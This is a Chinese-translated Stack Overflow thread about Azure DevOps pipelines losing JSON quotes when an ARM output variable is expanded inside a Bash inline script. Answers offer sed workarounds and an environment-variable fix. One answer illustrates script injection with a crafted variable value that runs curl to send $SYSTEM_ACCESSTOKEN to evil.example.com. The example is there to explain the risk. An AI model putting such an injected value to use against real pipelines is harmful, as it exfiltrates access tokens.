首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >防止在Azure DevOps任务之间JSON中的引号消失

防止在Azure DevOps任务之间JSON中的引号消失
EN

Stack Overflow用户
提问于 2019-07-30 04:59:26
回答 3查看 1.4K关注 0票数 3

我希望启用存储帐户上的静态站点托管,该帐户由Azure资源管理器( ARM )模板在Azure DevOps管道中创建,但无法使jq解析ARM输出变量。

步骤1:创建资源组的Azure DevOps任务YML

代码语言:javascript
复制
- task: AzureResourceGroupDeployment@2
  inputs:
    azureSubscription: 'AzureSubscription'
    action: 'Create Or Update Resource Group'
    resourceGroupName: 'vue-demo-app'
    location: 'West Europe'
    templateLocation: 'Linked artifact'
    csmFile: '$(Build.ArtifactStagingDirectory)/infra/infra.json'
    csmParametersFile: '$(Build.ArtifactStagingDirectory)/infra/env-arm-params-default.json'
    deploymentMode: 'Incremental'
    deploymentOutputs: 'appstoragename'
  displayName: 'Create or update resource group'

日志显示如下:

代码语言:javascript
复制
##[debug]set appstoragename={"appstoragename":{"type":"String","value":"demoappstaticstore"}}

因此,此时有一个有效的JSON值返回给Azure DevOps。到现在为止还好。

步骤2:尝试启用存储帐户上的静态网站的Azure DevOps任务

代码语言:javascript
复制
- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(appstoragename) | jq -r '.appstoragename'
      echo "Script input argument is: $(appstoragename)"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

日志显示如下:

代码语言:javascript
复制
Enabling static website hosting on the storage account
Script input argument is: {appstoragename:{type:String,value:jvwdemoappstaticstore}}
Parsed storage account name is: 

问题是,我正在“失去”$(appstoragename)中的引号,我需要它们,因为我认为jq不喜欢它们不存在的事实。

我怎样才能防止那些引号消失?

EN

回答 3

Stack Overflow用户

回答已采纳

发布于 2019-08-07 07:05:22

最后,我使用流编辑器sed修复了JSON,并添加了双引号,这样jq就可以接受它为有效的JSON:

代码语言:javascript
复制
# Needed this to prevent 'brace expansion' - which
# happens at the echo $() part since the armoutputs contains braces
set +B

# I would have also *loved* a nicer solution - but this puts
# quotes and newlines, which makes the input valid JSON for 'jq'
ARGTOJSON=$(echo $(armoutputs) | \
  sed -e 's/}/"\n}/g' | \
  sed -e 's/{/{\n"/g' | \
  sed -e 's/:/":"/g' | \
  sed -e 's/,/",\n"/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g');

# Now 'jq' is happy to work with the JSON
SA_NAME=$(echo $ARGTOJSON | jq -r .appstoragename.value)

在搜索其他解决方案时,我还找到了希森,但这需要我将可执行文件与代码捆绑在一起,因为据我所能判断,没有apt-get可用。

票数 0
EN

Stack Overflow用户

发布于 2022-05-12 13:33:23

TL;DR

使用环境变量:

代码语言:javascript
复制
- task: AzureCLI@1
  inputs:
    azureSubscription: 'AzureSubscription'
    scriptLocation: 'inlineScript'
    inlineScript: |
      echo "Enabling static website hosting on the storage account"
      SA_NAME=$(echo "${APP_STORAGE_NAME}" | jq -r '.appstoragename')
      echo "Script input argument is: ${APP_STORAGE_NAME}"
      echo "Parsed storage account name is: $SA_NAME"
      az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html
  env:
    APP_STORAGE_NAME: $(appstoragename)

详细信息

问题在于您使用JSON字符串作为Bash脚本的源代码的一部分

使用宏语法( $(foo) )引用的Azure管道变量是扩展的“在执行任务之前的运行时”。通过将appstoragename变量(如我们所知的JSON字符串)的值替换为$(appstoragename)输入的值,我们可以看到我们最终构建并运行了这个Bash脚本:

代码语言:javascript
复制
echo "Enabling static website hosting on the storage account"
SA_NAME={"appstoragename":{"type":"String","value":"demoappstaticstore"}} | jq -r '.appstoragename'
echo "Script input argument is: {"appstoragename":{"type":"String","value":"demoappstaticstore"}}"
echo "Parsed storage account name is: $SA_NAME"
az storage blob service-properties update --account-name $SA_NAME --static-website --index-document index.html

正如你所看到的,它甚至不接近我们的实际意思,尤其是第二行。

JSON引号似乎“丢失”的原因是,在第三行中,JSON字符串中的第一个"关闭以echo "Script中的"开头的引用Bash字符串,等等,直到JSON字符串中的最后一个",这恰好与该行上的最终"匹配。因此,与往常一样,Bash使用所有引号,并将结果字符串作为单个参数传递给echo。值得注意的是:

  • 如果JSON字符串中的任何键或值包含任何空格,那么多个参数将被传递给echo。任何键或值中的多个连续空格的序列都会“丢失”,因为它们根本不会传递给echo。示例: echo“脚本输入参数是:{"app storagename":42}”
  • 如果第三行使用单引号,即echo 'Script input …',那么JSON将保留在该行的输出中--除非JSON中的某些键或值包含'
  • 如果appstoragename Azure管道变量的值为"; curl --data "$SYSTEM_ACCESSTOKEN" http://evil.example.com; echo ",则您的Azure管道访问令牌将被发送(未加密)到Internet上的某个人。

正如您所看到的,尝试构建这样的Bash脚本总是会带来痛苦和痛苦,不管是哪种方式。真正的解决方案是将JSON字符串存储在环境变量中,如上面的TL;DR所示。然后,您不需要任何复杂的sed解决方案,您也不需要担心逃离任何东西-你可以直接写你的意思!

票数 3
EN

Stack Overflow用户

发布于 2022-02-03 07:53:39

与@Jochen提供的答案非常相似,我修改了他的答案,使用Azure管道函数"convertToJson“。

首先,您可以定义这样的参数对象。

代码语言:javascript
复制
parameters:
  - name   : PIPELINE_PARAMS
    type   : object
    default:
      parameters:
        param1: sample
        param2: sample2

然后,在bash脚本步骤中,使用SED正确地格式化JSON。

代码语言:javascript
复制
parameters=$(echo "${{ convertToJson(PIPELINE_PARAMS) }}" | \
  sed -e 's/^  /  "/g' | \
  sed -e 's/: /": "/g' | \
  sed -e 's/,$/",/g' | \
  sed -e 's/"}/}/g' | \
  sed -e 's/}"/}/g' | \
  sed -e 's/"{/{/g' | \
  sed -e 's/\([a-zA-Z0-9]\)$/\1"/g'
);
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/57264556

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档